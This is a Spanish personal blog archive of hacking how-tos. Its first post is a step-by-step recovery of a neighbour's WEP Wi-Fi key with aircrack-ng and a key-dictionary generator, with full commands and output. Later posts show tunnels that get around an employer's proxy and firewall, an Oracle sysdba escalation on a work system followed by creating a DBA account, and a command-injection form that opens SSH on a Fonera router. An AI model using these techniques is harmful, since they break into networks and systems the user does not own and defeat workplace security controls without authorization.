Conectándonos a redes WLAN_XX de Telefónica sin saber la contraseña

   Este pasado verano estuvimos de vacaciones en un piso en la costa española que han comprado mis suegros. Aunque tengo el modem 3G USB para conectarme a internet, nunca está de más probar a ver si existe alguna red wifi disponible. Después del paseo de rigor con el portátil por toda la casa, me pongo en la mesa del salón y aunque no existe ninguna red abierta a la que poder conectarme, veo que hay unas cuantas con el nombre WLAN_XX. Estas redes son de Telefónica y al ser "antiguas", el cifrado utilizado es WEP. Podría ponerme a capturar varios cientos de miles de paquetes y posteriormente por fuerza bruta intentar averiguar la clave. Afortunadamente hay una manera mucho más sencilla de obtenerla.

El primer paso es instalar desde los repositorios aircrack-ng. Son un conjunto de utilidades que permiten poner la tarjeta en modo monitor para capturar paquetes, inyectar paquetes en redes wifi, obtener una contraseña WEP con un cierto número de paquetes capturados,...

ivan@suneo:~$ sudo apt-get install aircrack-ng

Ahora ponemos la tarjeta de red en modo monitor para capturar todos los paquetes que nos llegan.

ivan@suneo:~$ sudo airmon-ng start wlan0

Interface Chipset  Driver

wlan0  Intel 3945ABG iwl3945 - [phy0]
    (monitor mode enabled on mon0)

La tarjeta wifi ya está en modo monitor, en este caso en el interfaz mon0. Éste será el que utilizaremos para capturar el tráfico.

ivan@suneo:~$ sudo airodump-ng -w packets mon0

 CH  1 ][ Elapsed: 9 mins ][ 2010-08-10 15:35                                         
                                                                                                                
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                 
                                                                                                                
 00:01:38:DF:ED:AE  -68     3193        6    0   6  54 . WEP  WEP         WLAN_B8
 00:1A:4D:22:45:81  -84      486      213    0   7  54e. OPN              tcc-hotspot-escuera                   
 00:1F:3F:A3:C7:39  -90       52        0    0   6  54   WEP  WEP         Harry Mehlitz                         
 00:1A:2B:5C:57:76  -87      288        4    0  11  54   WEP  WEP         JAZZTEL_47                            
 00:1A:2B:01:AC:A0  -83      829        0    0   3  54   WEP  WEP         WLAN_E9                               
 00:0C:F6:82:44:50  -84      507        3    0  11  54e. WPA  TKIP   PSK  Sitecom824450                         
                                                                                                                
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                      
                                                                                                                
 (not associated)   00:13:CE:6A:1B:14  -89    0 - 1      0      138  MI_CASA,WLAN_4B,1234567891234567891234567891
 (not associated)   00:1A:EF:05:17:2D  -89    0 - 1      0        5  WLAN_4D                                     
 00:01:38:DF:ED:AE  00:1F:3C:E1:95:C5    0    6 - 1      0      876  WLAN_B8                                     
 00:1A:2B:5C:57:76  00:22:43:65:1E:C6  -84    0 - 1      0        5  JAZZTEL_47                                  
 00:1A:2B:5C:57:76  00:16:EA:35:DD:D4  -85    0 - 1      0        3                                              

He marcado en negrita la red que nos interesa: WLAN_B8. Lo que hemos hecho es capturar todos los paquetes wifi que "vemos" y almacenarlos en un conjunto de archivos con el prefijo packets. La columna importante es #Data: indica que ya hemos capturado 6 IV's, necesarios para romper la contraseña. Dejamos este proceso capturando y en otro terminal seguimos trabajando.

   Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave.
En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos wlandecrypter. Lo descargamos, descomprimimos y con un simple make compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.

ivan@suneo:~$ wlandecrypter 00:01:38:DF:ED:AE WLAN_B8 dic_WLANB8.txt

wlandecrypter v1.3.1 (2010/04/21)

 [+] BSSID: 00:01:38:XX:XX:XX
 [+] Modelo: Xavi 7768r
 [+] Generando fichero de claves: dic_WLANB8.txt.kk
 [+] Fichero guardado OK
 [+] Generadas 65536 claves (896 KB)
 [+] Proceso finalizado con exito

   Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).
   Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos aircrack-ng pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.

ivan@suneo:~$ aircrack-ng -b 00:01:38:DF:ED:AE -w dic_WLANB8.txt -K packets-01.cap

Opening packets-01.cap
Reading packets, please wait...

                                                Aircrack-ng 1.0


                                [00:00:00] Tested 3873 keys (got 6 IVs)

   KB    depth   byte(vote)
    0    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    1    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    2    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    3    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    4    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    5    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    6    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    7    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    8    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
    9    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   10    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   11    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 
   12    0/  0   00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 00(   0) 

     KEY FOUND! [ 58:30:30:30:31:33:38:44:46:32:30:42:38 ] (ASCII: X000138DF20B8 )
 Decrypted correctly: 100%

   Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P
   P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)

Saltarse proxy con tunel ssh + socks

   Hace ya casi tres años explicaba un método para saltarse un proxy + firewall corporativo con un tunel HTTP. Unos meses después nos quitaron las restricciones y podíamos conectarnos libremente a internet sin proxy (con un proxy transparente), pero hace unos días la cosa ha cambiado. Han implementado nuevas políticas de seguridad y otras vez nos hemos quedado sin acceso a gmail, facebook, blogs y demás páginas consideradas hostiles.

   Pero claro, ya nos lo hemos saltado de nuevo, sino no existiría este post :-D. Tengo que decir que el método no es mío, sino que lo he encontrado aquí, aunque es cierto que he estado muy cerca de la solución :-P.

   Haciendo un resumen rápido, consiste en establecer un tunel ssh por el que irá nuestra conexión a internet a las páginas prohibidas, pero en lugar de poner en el otro extremo el ordenador de nuestra casa y configurar ahí un proxy http, nos conectamos por ssh a nuestro router y él es el que se encarga de servirnos las páginas web. En el navegador, en lugar de configurar un proxy http utilizamos un proxy socks.

   Debo decir que según estaba leyendo el tutorial no pensaba que fuera posible. De hecho, aunque sabía que existían los proxies socks, no tenía claro cual era su función. En la wikipedia por medio de un ejemplo nos explican las diferencias entre un proxy http y un proxy socks.

   Ayer configuré todo en casa y esta mañana lo he probado en el trabajo y todo funciona sin problemas. La única limitación es que al pasar todo nuestro tráfico por la conexión de casa, estamos limitados por el ancho de banda de subida (sí, subida porque nuestro router nos tiene que enviar todo) que tengamos contratado.
Como también tengo acceso por ssh al servidor linux donde está corriendo Mufly que tiene un ancho de banda mucho mayor, he hecho un test de velocidad. La primera captura es estableciendo el tunel contra mi router y la segunda contra el servidor de Mufly. La diferencia salta a la vista, así que, después de hablar con el dueño del servidor, voy a establecer el tunel por él :-P.




Si queréis información más técnica y detallada no hay mejor sitio que estos dos magníficos artículos de Vicente Navarro (aka Supercoco):

Creando túneles TCP/IP (port forwarding) con SSH: Los 8 escenarios posibles usando OpenSSH

Reenvío dinámico de puertos / montar un servidor SOCKS con SSH

Ocultar la ventana de "Equipo Bloqueado" en una Red Novell

   Hace unos meses veíamos cómo ocultar la molesta ventana de "Equipo Bloqueado" cuando bloqueamos la sesión en windows. La red de la empresa en la que trabajo es un tanto peculiar y esta semana nos han instalado el cliente Novell para poder acceder a recursos compartidos en dicha red (aunque también seguimos iniciando la sesión en el dominio Windows). Esto ha provocado que que las ventanas de inicio de sesión, cambio de contraseña, bloqueo del equipo,... hayan cambiado por las nuevas del cliente Novell. Así, cuando bloqueamos el equipo volvemos a tener una fea ventana que tapa nuestra foto de fondo de pantalla.

   Después de investigar cual es la dll en la que se encuentra la ventana llego a este foro en el que alguien pregunta por dicha dll, que finalmente resulta ser C:\WINDOWS\system32\nls\ESPANOL\nwginar.dll. Abro el ResourceHacker, encuentro el diálogo, cambio el código por el siguiente:

105 DIALOG 0, 0, 0, 0
STYLE WS_POPUP | WS_VISIBLE
CAPTION ""
LANGUAGE LANG_SPANISH, 0x1
FONT 0, ""
{
}

Posteriormente salvo la dll, con la consola de recuperación hago el cambio y en poco más de 10 minutos y dos reinicios vuelvo a ver la foto de mi peque a ventana completa sin la molesta ventana quedando algo parecido a esto:

   P.D: Para ver una explicación detallada de los pasos consultar el post anterior para ocultar la ventana en windows.

Ocultar la ventana de "Equipo Bloqueado" en Windows

   Siempre que bloqueamos una máquina con Windows NT/2K/XP aparece una ventana indicando que el equipo está bloqueado y nuestro nombre de usuario. Esta ventana aparece en el centro de la pantalla, por lo que si tenemos una foto de fondo, lo más probable es que tape el motivo principal de la foto. En mi caso, en el ordenador del trabajo, cuando bloqueo el equipo lo que veo es:

   En este artículo lo que vamos a ver es cómo ocultar esta ventana para que al bloquear el equipo se muestre la foto a pantalla completa.

   Para poder hacer este pequeño hack lo único que necesitamos es acceso a la consola de recuperación como administrador de la máquina (también serviría un live-cd de linux y NTFS-3G) y el Resource Hacker. Este programa sirve para ver, modificar y borrar recursos en archivos ejecutables, dlls,.... Podemos cambiar el texto de un diálogo, los iconos, eliminar una parte que no nos guste. Es bastante potente y sencillo de utilizar. ¡Empecemos!.

El diálogo que vamos a modificar se encuentra en la dll C:\Windows\system32\msgina.dll. La copiamos a C:\ pues que en la ubicación original no la podemos usar porque está bloqueada.

Ejecutamos el Resource Hacker y abrimos la dll.

En el menú Dialog -> 1900 vemos la ventana que vamos a modificar.

Podemos juguetear con el código para cambiar los textos y pulsando el botón Compile Script vemos cómo quedaría. En nuestro caso, para ocultarla completamente lo que hacemos es reemplazar el código por el siguiente:

1900 DIALOGEX 0, 0, 0, 0
STYLE WS_POPUP | WS_VISIBLE
CAPTION ""
LANGUAGE LANG_SPANISH, 0x3
FONT 0, ""
{
}

Nuevamente pulsamos el botón Compile Script, salvamos los cambios y reiniciamos el equipo para entrar en la consola de recuperación.

Ahora vamos a sobreescribir la dll original (recordad hacer copia de seguridad) por la modificada. La dll se encuentra en C:\Windows\system32\ y también en C:\Windows\system32\dllcache\ y es necesario reemplazar las dos copias.

copy c:\msgina.dll c:\windows\system32
copy c:\msgina.dll c:\windows\system32\dllcache

Reinciamos de nuevo la máquina, entramos en windows y bloqueamos el equipo. Si hemos hecho todo bien el resultado debería ser algo parecido a esto (se ve la foto a pantalla completa sin ninguna ventana).

Aunque la ventana no se vea, realmente está ahí y el equipo está bloqueado, por lo que pulsamos CTRL+ALT+SUPR, introducimos nuestro password y a trabajar.

   Ahora ya, cuando os levantéis de vuestro sitio, lo único que tenéis que hacer es pulsar las teclas WIN + L y disfrutar con el fondo.

Fonera brickeada...

   ...Y arreglada!. Hace ya tiempo, intentando instalar un nuevo firmware en una de mis foneras hice lo que comúnmente se conoce como brickear, vamos, que me la cargué. Buscando un poco de información en los foros leí que con un cable serie la podía conectar al ordenador para intentar recuperarla.

   Mi circuito es una pequeña adaptación del que encontré y no está tan currado pero para el uso que le iba a dar es más que suficiente. El material que utilicé y el precio fue:

Placa protoboard: Tenía una en casa de alguna práctica de la facultad, así que esto me lo ahorré. También se puede utilizar una placa perforda pero hay que soldar y no me apetecía mucho ;-).

4 condensadores electrolíticos de 1 µF: 0,20€ cada uno.

1 condensador electrolítico de 10 µF: 0,20€.

Chip Max232: Para controlar la comunicación por el puerto de serie. También tenía uno de otra práctica.

Cable de audio de un lector de cdrom: Lo usé para desarmarlo y conectarlo a los pines de la fonera de una manera fácil.

Cable serie o conector para el PC y tres hilos: En mi caso tenía el cable y lo que hice fue cortarlo para engancharlo a la placa.

   Después de un rato conectando cables según el circuito lo tenía listo para probarlo. El cable que sale por abajo es el que va a la Fonera y el de arriba es el cable serie que va al ordenador. Después de conectarlo todo, el circuito quedó:

   Y seguí este magnífico post para conectarme por el cable de serie a la fonera y poder instalarle de nuevo el firmware oficial de Fon. Después de eso, seguí mi propio post (qué pronto se olvidan las cosas) para instalarle dd-wrt y ya está recuperada y funcionando de nuevo :-).

Como dicen en el anuncio: "condensadores, placa protoboard, cables,... unos pocos euros. Pasar una tarde entretenido y recuperar una fonera... no tiene precio".

La Fonera Hackeada (II)

   El otro día comentaba que había logrado abrir el ssh de mi fonera y que la había "capado" para que Fon no la pudiese actualizar. Hoy que he tenido más tiempo libre he estado jugueteando con el Chillispot. Para el que no lo conozca se trata del portal cautivo que utiliza Fon para controlar el acceso a la red. Cuando nos conectados a la red wifi de la fonera y ponemos cualquier página en el navegador, automáticamente esa petición pasa por Chillispot y si no está entre las urls permitida nos redirigirá a la url que hayamos indicado para autenticar el usuario por medio de Radius. En este caso nos redirige a la web de Fon y cuando nos conectamos con nuestro usuario y password ya podemos navegar libremente.

   Conectándome con el portatil a la red pública de la fonera pude comprobar que había algunas páginas a las podía conectar sin tener que pasar por chillispot. Por ejemplo, podía leer mi correo de gmail o visitar flickr. Editando el archivo de configuración del chillispot me encontré esto:

root@OpenWrt:/etc# cat chilli.conf
radiusserver1 radius01.fon.com
radiusserver2 radius02.fon.com
radiussecret garrafon
dhcpif eth1
uamsecret garrafon
uamallowed 209.85.129.99,209.85.129.104,209.85.129.147
uamanydns
uamallowed www.martinvarsavsky.net,www.google.com,www.flickr.com,static.flickr.com,video.google.com,216.239.51.0/24,66.249.81.0/24
uamallowed www.fon.com,www.paypal.com,www.paypalobjects.com,www.skype.com,66.249.93.0/24,72.14.207.0/24,72.14.209.0/24,84.96.67.0/24,213.91.9.0/24,80.118.99.0/24
uamallowed shop.fon.co.kr,secure.nuguya.com,inilite.inicis.com,fon-en.custhelp.com,maps.fon.com,c20.statcounter.com

uamallowed www.fon.com,acceso.fon.com,en.fon.com,es.fon.com
uamallowed www.fon.com,www.paypal.com,www.paypalobjects.com

uamserver https://login.fon.com/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/cp/index.php

   Es una lista de urls permitidas por las que se puede navegar sin tener que estar autenticado. Revisando algunas de esas ips he visto que la mayoría son de google, flickr,... pero hay otras que no tengo ni idea. Entonces he pensado que no quería que los Aliens que se conecten a mi punto de acceso Fon puedan navegar libremente por Google, Flickr, Skype,.... Lo primero que se me ha ocurrido ha sido comentar las líneas de las webs no permitidas y reiniciar el chillispot, pero cual ha sido mi sorpresa que no ha funcionado. Revisando con más detalle el script de chillispot (/etc/init.d/N50chillispot) he visto que cuando se arranca se descarga de Fon (en la función radconfig) el archivo de configuración, lo almacena en /tmp/chilli.conf y comprueba mediante un hash MD5 si el que acaba de descargar y el existente son iguales o no. En caso de que el existente haya sido modificado, lo borra y mueve el que se ha descargado a la ruta original. Así Fon tiene control total sobre las webs por las que los Aliens pueden o no navegar:

radconfig() {
        /usr/sbin/chilli_radconfig \
                -c /dev/null \
                --radiusserver1="$RADIUSSERVER" \
                --radiussecret="$RADIUSSECRET" \
                --adminuser="$RADIUSADMUSR" \
                --adminpasswd="$RADIUSADMPWD" \
                --radiusnasid="$MAC" \
                --dhcpif $wifi_ifname \
                > $TMP_C
        [ -n "$(cat $TMP_C)" ] && {
                MD5SUM_TMP=$(md5sum $TMP_C | awk '{ print $1 }')
                MD5SUM_ETC=$(md5sum $ETC_C | awk '{ print $1 }')
                if [ ! "$MD5SUM_TMP" = "$MD5SUM_ETC" ]; then
                                rm $ETC_C
                                mv $TMP_C $ETC_C
                                circular_log $LOG_LOOP_F "RELOAD"
                                do_reload
                else
                                circular_log $LOG_LOOP_F "NO RELOAD"
                fi
                return 0
        }
        circular_log $LOG_LOOP_F "NO RELOAD"
}

   ¿Qué podemos hacer para evitar esto?. Muy sencillo, simplemente cambiamos el signo de la comparación (la línea comentada del if es la original):

radconfig() {
        /usr/sbin/chilli_radconfig \
                -c /dev/null \
                --radiusserver1="$RADIUSSERVER" \
                --radiussecret="$RADIUSSECRET" \
                --adminuser="$RADIUSADMUSR" \
                --adminpasswd="$RADIUSADMPWD" \
                --radiusnasid="$MAC" \
                --dhcpif $wifi_ifname \
                > $TMP_C
        [ -n "$(cat $TMP_C)" ] && {
                MD5SUM_TMP=$(md5sum $TMP_C | awk '{ print $1 }')
                MD5SUM_ETC=$(md5sum $ETC_C | awk '{ print $1 }')
                # if [ ! "$MD5SUM_TMP" = "$MD5SUM_ETC" ]; then
                if [ "$MD5SUM_TMP" = "$MD5SUM_ETC" ]; then
                                rm $ETC_C
                                mv $TMP_C $ETC_C
                                circular_log $LOG_LOOP_F "RELOAD"
                                do_reload
                else
                                circular_log $LOG_LOOP_F "NO RELOAD"
                fi
                return 0
        }
        circular_log $LOG_LOOP_F "NO RELOAD"
}

   y ya está capado. Ahora editamos el archivo de configuración de Chillispot y comentamos las webs que no queremos que se puedan utilizar:

root@OpenWrt:/etc# cat chilli.conf
radiusserver1 radius01.fon.com
radiusserver2 radius02.fon.com
radiussecret garrafon
dhcpif eth1
uamsecret garrafon
#uamallowed 209.85.129.99,209.85.129.104,209.85.129.147
uamanydns
#uamallowed www.martinvarsavsky.net,www.google.com,www.flickr.com,static.flickr.com,video.google.com,216.239.51.0/24,66.249.81.0/24
#uamallowed www.fon.com,www.paypal.com,www.paypalobjects.com,www.skype.com,66.249.93.0/24,72.14.207.0/24,72.14.209.0/24,84.96.67.0/24,213.91.9.0/24,80.118.99.0/24
#uamallowed shop.fon.co.kr,secure.nuguya.com,inilite.inicis.com,fon-en.custhelp.com,maps.fon.com,c20.statcounter.com

uamallowed www.fon.com,acceso.fon.com,en.fon.com,es.fon.com
uamallowed www.fon.com,www.paypal.com,www.paypalobjects.com

uamserver https://login.fon.com/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/cp/index.php

   y finalmente reiniciamos Chillispot.

   Si ahora nos conectamos desde a la señal wifi de Fon y ponemos una web como http://www.google.com, Chillispot nos reenviará automáticamente al Portal de login de Fon.

   El próximo paso: Actualización de la Fonera a DD-WRT.

Conectarse a Oracle como sysdba sin saber el password

   El sistema que estoy probando en mi nuevo trabajo utiliza Oracle 10g como base de datos. El otro día quería ver más a fondo cómo estaban creados los datafiles, tablespaces, índices,... Obviamente con el usuario de aplicación que tengo para conectarme no podía hacer mucho, así que pensé qué podía hacer para conectarme con permisos de DBA.

   Recordando lo que aprendí el año pasado en los cursos de Oracle que hice y también en mi anterior trabajo, el usuario de sistema operativo dueño de la instalación de oracle puede conectarse como sysdba sin necesidad de conocer el password. Para ello sólo hay que hacer lo siguiente y automáticamente estaremos conectados a la instancia y además con permisos totales de administración. No obstante, en mi caso esto daba error:

C:\Documents and Settings\User>sqlplus /nolog

SQL*Plus: Release 10.2.0.2.0 - Production on Wed Mar 14 10:32:28 2007

Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.

SQL> conn / as sysdba
ERROR:
ORA-01031: insufficient privileges

   Haciendo más memoria todavía, cuando se instala un servidor Oracle en windows, se crea el grupo ORA_DBA al que es necesario añadir todos los usuarios que se podrán conectar como dba. Mi usuario no estaba añadido, pero después de hacerlo seguía sin poder conectarme como sysdba.

   Lo dejé y después de comer (siempre dicen que con el estómago lleno se piensa mejor) me acordé de que había un parámetro en el archivo sqlnet.ora en el que se puede configurar si se va a utilizar la autenticación que proporciona el sistema operativo o no. En mi máquina estaba deshabilitada, por lo que era obligatorio utilizar el password.

#SQLNET.AUTHENTICATION_SERVICES= (NTS)

NAMES.DIRECTORY_PATH= (TNSNAMES, EZCONNECT)

   Cambié la línea en cuestión del archivo para indicarle que utilizase la autenticación de windows (simplemente descomentándola):

SQLNET.AUTHENTICATION_SERVICES= (NTS)

NAMES.DIRECTORY_PATH= (TNSNAMES, EZCONNECT)

   Y probé de nuevo:

C:\Documents and Settings\User>sqlplus /nolog

SQL*Plus: Release 10.2.0.2.0 - Production on Wed Mar 14 10:35:29 2007

Copyright (c) 1982, 2005, Oracle.  All Rights Reserved.

SQL> conn / as sysdba;
Connected.

   Y una vez conectados nos podemos crear un usuario con permisos de dba para poder utilizarlo y conectarnos desde el Toad...

SQL> create user ivan identified by ivan;

User created.

SQL> grant connect,resource to ivan;

Grant succeeded.

SQL> grant dba to ivan;

Grant succeeded.

La Fonera Hackeada

   Antes de navidades me llegó un email de Fon con una invitación para que un amigo pudiera conseguir una Fonera totalmente gratis. Envié la invitación a mi mujer y solicité la Fonera a casa de sus padres. Hace un par de semanas llegó "mi" Fonera y estas son las primeras impresiones:

La Fonera es realmente pequeña, en las fotos no se aprecia bien pero es muy muy pequeña.

Se calienta bastante: Después de tenerla poco más de una hora conectada está muy caliente.

La configuración es muy sencilla: Nos conectamos a la red wifi abierta (FON_HOTSPOT) nos logamos en la página de Fon y la registramos. Luego nos conectamos a la red privada (MyPlace) con la clave WPA que nos proporcionan y listo, ya está todo.

Cosas que no me han gustado:

La web de administración es muy limitada y no permite nada más que unas cuantas opciones de configuración.

Aunque puedo cambiar el rango de IPs que asigna a los clientes DHCP no puedo gestionarlo yo al igual que hago con el Linksys.

   La he tenido encendida prácticamente todo un fin de semana y no se ha conectado nadie a ella. También es cierto que en la zona en que vivimos, la mayoría de los vecinos deben tener conexión y justo enfrente están construyendo un bloque nuevo. Es probable que cuando lo entreguen tenga más potenciales "clientes".

   Después de esto me cansé y decidí hackearla a ver si podía hacer algo más con ella. Leyendo en unos cuantos foros encontré que lo primero que había que hacer era conseguir el acceso por ssh para luego poder cacharrear más con ella.

   Manos a la obra: Leí que había diversas opciones, desde abrirla para conectar un puerto serie a utilizar unos exploits de la web de administración. También leí que la mayoría de los scripts eran compatibles hasta la versión 0.7.1r1 y mi Fonera tiene la versión 0.7.1r2.
   Según he podido enterarme de fábrica no es probable que se estén fabricando foneras con la versión r2 de serie, por lo podemos resetear las que están en versión r2 para se queden con la versión original de fábrica (r1).
   Con el reseteo tuve problemas porque en algunos sitios leí que había que pulsar el reset más de 1 minuto, esperar a que se apagaran las luces, volver a pulsar el reset, quitar el cable de red y el de alimentación; y finalmente enchufar de nuevo y listo, Fonera "downgradeada". Después de intentarlo unas cuantas veces lo dejé por imposible. La única conclusión que saqué fue que la Fonera se actualiza cuando se conecta a internet.

   Seguí leyendo y buscando por los foros y encontré otra forma de hackearla que es la que me ha funcionado:

Conectamos la fonera a otro PC con un cable de red cruzado, de tal forma que la fonera no tenga conexión a internet.

Después de arrancar, la IP asignada al puerto ethernet de la fonera es 169.254.255.1, por lo que configuré la IP en el PC con 169.254.255.2. Así, la fonera responde a los pings y desde el navegador nos podemos conectar a la web de administración.

Pulsar el botón de reset unos 15 segundos.

Recargar la web de administración. Ya aparecía la versión r1, por lo que ya podía proceder al hackeo.

Guardé el siguiente código en un archivo html, lo ejecuté y después de unos segundos parece que funcionó.

<html>
 <head>
 </head>
  <body>
  <center>
   <form method="post"
    action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
    <input name="username" value="$(/etc/init.d/dropbear)" size="68"> 
    <input type="submit" name="submit" value="Submit" />
   </form>
  </center>
  </body>
</html>

Abrí el putty y me conecté a la Fonera por ssh.

Ahora lo único que quedaba era configurar el firewall para abrir el puerto 22. Para esto descomenté las reglas que lo abrían en el archivo /etc/firewall.user

Configurar el servidor ssh para que arrancase junto con la Fonera:

ln -s /etc/init.d/dropbear /etc/init.d/S50dropbear

Y modificar el script de "puerta trasera" que ha instalado Fon para que la Fonera no se ejecute el código recibido de Fon cada vez que se conecta a internet. Editamos el archivo /bin/thinclient y comentamos la última línea:

# . /tmp/.thinclient.sh

   De momento me he quedado aquí aunque hay bastante gente trabajando en establecer un puente WDS entre el Linksys con software DD-WRT y una Fonera. E incluso hace muy poco tiempo que acaba de salir una versión del DD-WRT adaptada a La Fonera.

   Establecer el puente WDS entre varias Foneras puede ser muy útil para poder añadir acceso Wifi en una gran extensión de terreno de forma que se puedan poner varias foneras y sólo haya que preocuparse del cable de alimentación y no del de datos (como hasta ahora).

   Como mi "amigo" registró su Fonera ahora Fon le ha dado a él una invitación y a mi otra para que invitemos a nuevos amigos a pedir sus Foneras gratis. Vamos, que ahora tengo 2 invitaciones esperando a ver qué pasa con el WDS y todo esto para utilizarlas.

HTTPort + HTTHost o Cómo saltarse Proxy + Firewall Corporativo

   [ACTULIZADO 26/06/2007]: Con una captura de la configuración del Htthost por petición en un comentario.

   Hace poco que he cambiado de trabajo y en el nuevo tenemos el acceso a internet muy capado. Una de las webs a la que no podemos acceder es Gmail. Aunque no recibo muchísimos emails diarios, siempre está bien poder ver el correo durante el día alguna vez por si hay algo interesante o sobre todo por si necesito buscar o enviar algo desde esa cuenta.

   He estado buscando diversas alternativas para poder saltarme estas restricciones y al final estos son los recursos que tengo y los pasos que he dado:
   En casa tengo un pequeño servidor encendido 24x7 con el Emule funcionando (lo siento Alex pero de momento es windows y no debian) en el que tengo instalado un servidor VNC. Como no tengo ip estática utilizo los servicios de no-ip.com y la funcionalidad DDNS de mi router para asignar un nombre de dominio a mi ip dinámica. De esta manera siempre puedo conectarme al servidor de casa con el cliente vnc desde cualquier lugar.

1.- Esto fue lo primero que intenté, pero al tener que salir en el trabajo hacia internet con proxy no podía utilizar el cliente vnc.

2.- Mi segundo paso fue utilizar el servidor java del vnc para conectarme a través del navegador. Aunque llegaba a conectarme a mi casa, el navegador no lograba cargar el applet correctamente.

3.- Revisando la configuración cambié los puertos que tenía mapeados en el router para dejarlo todo de la manera más estándar posible.

4.- Mi siguiente intento fue con HTTPort. Para el que no lo conozca sirve para "proxificar" (toma palabro!) cualquier aplicación que no disponga de esa opción y encapsular cualquier tipo de trafico en http. De esta manera, si el proxy/firewall de nuestro trabajo nos permiter navegar por internet, podremos utilizar diversos servicios que de otra manera estarían capados: correo pop, messenger, irc,... El funcionamiento es muy simple, sólo hay que definir un puerto local de escucha y el servidor y puerto remoto al que redirigir todo el tráfico que llegue al puerto local. Luego, dicho tráfico se enviará automáticamente a servidores disponibles en internet para que sirvan de pasarela entre nuestro trabajo y la máquina destino.
Dicho y hecho: Me bajé el programa, lo instalé en el pc del trabajo y configuré la redirección:



   De esta forma redirigía mi puerto 5900 local al 5900 de mi servidor. Aunque veía en la ventana de conexión del cliente vnc que llegaba a conectar con el servidor de casa, no me llegaba nunca a pedir el password y siempre dada timeout. Buscando un poco en internet leí que la mayoría de esos servidores pasarela públicos están muy saturados y las conexiones eran muy lentas. También ofrecían una solución que era utilizar el programa HTTHost.

5.- Este programa está pensado para utilizarlo con HTTPort y se instala en una máquina a la que tengamos acceso desde internet. Esta máquina será la que utilizaremos de pasarela para conectarnos a nuestro destino final. Hay que tener en cuenta que la máquina en la que instalemos este servidor puede ser la misma a la que nos queremos conectar (como es mi caso).
   Así, instalé este programa en el servidor de casa, abrí los puertos en el router y lo dejé preparado para probar hoy desde el trabajo.



En este caso hay que configurar el HTTPort para que se conecte a este servidor pasarela en el que podemos definir un password e incluso filtrar por ip origen para que sólo acepte determinadas conexiones:



Además, es necesario hacer un pequeño cambio en el mapeo de puertos puesto que ahora tenemos el servidor pasarela origen de las conexiones en la misma máquina en la que se encuentra el servidor vnc (además hay que habilitar en el servidor vnc la opción de permitir conexiones de loopback):



   Ahora, ya en el ordenador del trabajo, abrimos el cliente vnc y nos conectamos a localhost:5900. El flujo que siguen nuestros datos es el siguiente:

ClienteVNC-trabajo -> HTTPort-trabajo:5900 -> Proxy-trabajo:8080 -> HTTHost-casa:80 -> ServidorVNC:5900

Y listo, ya tenemos el tunel establecido y podemos conectarnos al ordenador de casa para controlarlo remotamente y poder ver el correo, controlar el estado de las descargas del emule,...

   Este método sólo tiene una pequeña pega que es la velocidad de conexión. Según he leído en los foros, la transferencia de ficheros, el messenger,... van bastante bien, pero el control remoto con el VNC deja bastante que desear y como he podido comprobar esta mañana va algo lento.

   De cara a la seguridad y a los logs que dejaremos en el proxy/firewall de nuestra empresa, se podrán ver que hacemos peticiones a nuestro servidor de casa e incluso se podrán interceptar. Así, lo mejor es activar la opción de encriptación que proporciona HTTPort para que lo único que aparezca en los logs sean las llamadas al servidor de casa, pero nunca la información enviada, las urls que se consultan,...

De como dejé de ser Fonero

   Estaba esta tarde un poco ocioso esperando a que mi mujer volviera del trabajo y he pensado: ¿qué puedo hacer?. Creo que voy a reflashear mi router FON.

   La verdad es que ha sido más fácil de lo que pensaba en un principio. He estado leyendo en el foro de Fon unos cuantos post (1, 2, 3, 4 y 5) sobre el asunto y me he decidido.

